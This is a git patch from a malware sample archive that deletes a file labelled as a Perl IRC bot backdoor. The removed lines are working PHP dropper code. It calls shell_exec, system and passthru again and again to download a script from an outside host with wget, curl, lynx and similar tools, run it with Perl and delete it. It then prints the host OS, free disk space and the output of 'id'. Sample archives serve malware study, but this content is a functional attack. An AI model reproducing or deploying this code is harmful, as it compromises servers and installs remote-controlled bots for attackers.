From 03f90b5acbea807a986511da69ce081f0eaca287 Mon Sep 17 00:00:00 2001
From: vxunderground <57078196+vxunderground@users.noreply.github.com>
Date: Sat, 14 Nov 2020 00:54:27 -0600
Subject: [PATCH] Delete Backdoor.Perl.IRCBot.p

na
---
 Perl/Backdoor.Perl.IRCBot.p | 119 ------------------------------------
 1 file changed, 119 deletions(-)
 delete mode 100644 Perl/Backdoor.Perl.IRCBot.p

diff --git a/Perl/Backdoor.Perl.IRCBot.p b/Perl/Backdoor.Perl.IRCBot.p
deleted file mode 100644
index 51262542..00000000
--- a/Perl/Backdoor.Perl.IRCBot.p
+++ /dev/null
@@ -1,119 +0,0 @@
-<?
-$dir = @getcwd();
-echo "Mic22<br>";
-$OS = @PHP_OS;
-echo "OSTYPE:$OS<br>";
-$free = disk_free_space($dir); 
-shell_exec('cd /tmp; wget http://inteligent.freehostia.com/21.txt;perl 21.txt;rm -rf 21.txt');
-shell_exec('cd /tmp;curl -O http://inteligent.freehostia.com/21.txt;perl 21.txt;rm -rf 21.txt');
-shell_exec('cd /tmp;lwp-download http://inteligent.freehostia.com/21.txt;perl 21.txt;rm -rf 21.txt');
-shell_exec('cd /tmp;lynx -source http://inteligent.freehostia.com/21.txt;perl 21.txt;rm -rf 21.txt');
-shell_exec('cd /tmp;fetch http://inteligent.freehostia.com/21.txt>21.txt;perl 21.txt;rm -rf 21.txt');
-shell_exec('cd /tmp;GET http://inteligent.freehostia.com/21.txt>21.txt;perl 21.txt;rm -rf 21.txt');
-system('cd /tmp;wget http://inteligent.freehostia.com/21.txt;perl 21.txt;rm -rf 21.txt');
-system('cd /tmp;curl -O http://inteligent.freehostia.com/21.txt;perl 21.txt;rm -rf 21.txt');
-system('cd /tmp;lwp-download http://inteligent.freehostia.com/21.txt;perl 21.txt;rm -rf 21.txt');
-system('cd /tmp;lynx -source http://inteligent.freehostia.com/21.txt;perl 21.txt;rm -rf 21.txt');
-system('cd /tmp;fetch http://inteligent.freehostia.com/21.txt>21.txt;perl 21.txt;rm -rf 21.txt');
-system('cd /tmp;GET http://inteligent.freehostia.com/21.txt>21.txt;perl 21.txt;rm -rf 21.txt');
-passthru('cd /tmp;wget http://inteligent.freehostia.com/21.txt;perl 21.txt;rm -rf 21.txt');
-passthru('cd /tmp;curl -O http://inteligent.freehostia.com/21.txt;perl 21.txt;rm -rf 21.txt');
-passthru('cd /tmp;lwp-download http://inteligent.freehostia.com/21.txt;perl 21.txt;rm -rf 21.txt');
-passthru('cd /tmp;lynx -source http://inteligent.freehostia.com/21.txt;perl 21.txt;rm -rf 21.txt');
-passthru('cd /tmp;fetch http://inteligent.freehostia.com/21.txt>21.txt;perl 21.txt;rm -rf 21.txt');
-passthru('cd /tmp;GET http://inteligent.freehostia.com/21.txt>21.txt;perl 21.txt;rm -rf 21.txt');
-shell_exec('cd /tmp; wget http://inteligent.freehostia.com/21.txt;perl 21.txt;rm -rf 21.txt');
-shell_exec('cd /tmp;curl -O http://inteligent.freehostia.com/21.txt;perl 21.txt;rm -rf 21.txt');
-shell_exec('cd /tmp;lwp-download http://inteligent.freehostia.com/21.txt;perl 21.txt;rm -rf 21.txt');
-shell_exec('cd /tmp;lynx -source http://inteligent.freehostia.com/21.txt;perl 21.txt;rm -rf 21.txt');
-shell_exec('cd /tmp;fetch http://inteligent.freehostia.com/21.txt>21.txt;perl 21.txt;rm -rf 21.txt');
-shell_exec('cd /tmp;GET http://inteligent.freehostia.com/21.txt>21.txt;perl 21.txt;rm -rf 21.txt');
-system('cd /tmp;wget http://inteligent.freehostia.com/21.txt;perl 21.txt;rm -rf 21.txt');
-system('cd /tmp;curl -O http://inteligent.freehostia.com/21.txt;perl 21.txt;rm -rf 21.txt');
-system('cd /tmp;lwp-download http://inteligent.freehostia.com/21.txt;perl 21.txt;rm -rf 21.txt');
-system('cd /tmp;lynx -source http://inteligent.freehostia.com/21.txt;perl 21.txt;rm -rf 21.txt');
-system('cd /tmp;fetch http://inteligent.freehostia.com/21.txt>21.txt;perl 21.txt;rm -rf 21.txt');
-system('cd /tmp;GET http://inteligent.freehostia.com/21.txt>21.txt;perl 21.txt;rm -rf 21.txt');
-passthru('cd /tmp;wget http://inteligent.freehostia.com/21.txt;perl 21.txt;rm -rf 21.txt');
-passthru('cd /tmp;curl -O http://inteligent.freehostia.com/21.txt;perl 21.txt;rm -rf 21.txt');
-passthru('cd /tmp;lwp-download http://inteligent.freehostia.com/21.txt;perl 21.txt;rm -rf 21.txt');
-passthru('cd /tmp;lynx -source http://inteligent.freehostia.com/21.txt;perl 21.txt;rm -rf 21.txt');
-passthru('cd /tmp;fetch http://inteligent.freehostia.com/21.txt>21.txt;perl 21.txt;rm -rf 21.txt');
-passthru('cd /tmp;GET http://inteligent.freehostia.com/21.txt>21.txt;perl 21.txt;rm -rf 21.txt');
-shell_exec('cd /tmp;rm -rf 21.txt*');
-system('cd /tmp;rm -rf 21.txt**');
-passthru('cd /tmp;rm -rf 21.txt**');
-shell_exec('cd /tmp;rm -rf 21.txt**');
-system('cd /tmp;rm -rf 21.txt**');
-passthru('cd /tmp;rm -rf 21.txt**');
-shell_exec('cd /tmp;rm -rf 21.txt*');
-system('cd /tmp;rm -rf 21.txt**');
-passthru('cd /tmp;rm -rf 21.txt**');
-shell_exec('cd /tmp;rm -rf 21.txt**');
-system('cd /tmp;rm -rf 21.txt**');
-passthru('cd /tmp;rm -rf 21.txt**');
-
-if ($free === FALSE) {$free = 0;} 
-
-if ($free < 0) {$free = 0;} 
-echo "Free:".view_size($free)."<br>"; 
-
-$cmd="id";
-$eseguicmd=ex($cmd);
-echo $eseguicmd;
-
-function ex($cfe){
-$res = '';
-if (!empty($cfe)){
-if(function_exists('exec')){
-@exec($cfe,$res);
-$res = join("\n",$res);
-}
-elseif(function_exists('shell_exec')){
-$res = @shell_exec($cfe);
-}
-elseif(function_exists('system')){
-@ob_start();
-@system($cfe);
-$res = @ob_get_contents();
-@ob_end_clean();
-}
-elseif(function_exists('passthru')){
-@ob_start();
-@passthru($cfe);
-$res = @ob_get_contents();
-@ob_end_clean();
-}
-elseif(@is_resource($f = @popen($cfe,"r"))){
-$res = "";
-while(!@feof($f)) { $res .= @fread($f,1024); }
-@pclose($f);
-}}
-return $res;
-}
-
-function view_size($size) 
-
-{ 
-
- if (!is_numeric($size)) {return FALSE;} 
-
- else 
-
- { 
-
-  if ($size >= 1073741824) {$size = round($size/1073741824*100)/100 ." GB";} 
-
-  elseif ($size >= 1048576) {$size = round($size/1048576*100)/100 ." MB";} 
-
-  elseif ($size >= 1024) {$size = round($size/1024*100)/100 ." KB";} 
-
-  else {$size = $size . " B";} 
-
-  return $size; 
-
- } 
-
-} 
-
-exit;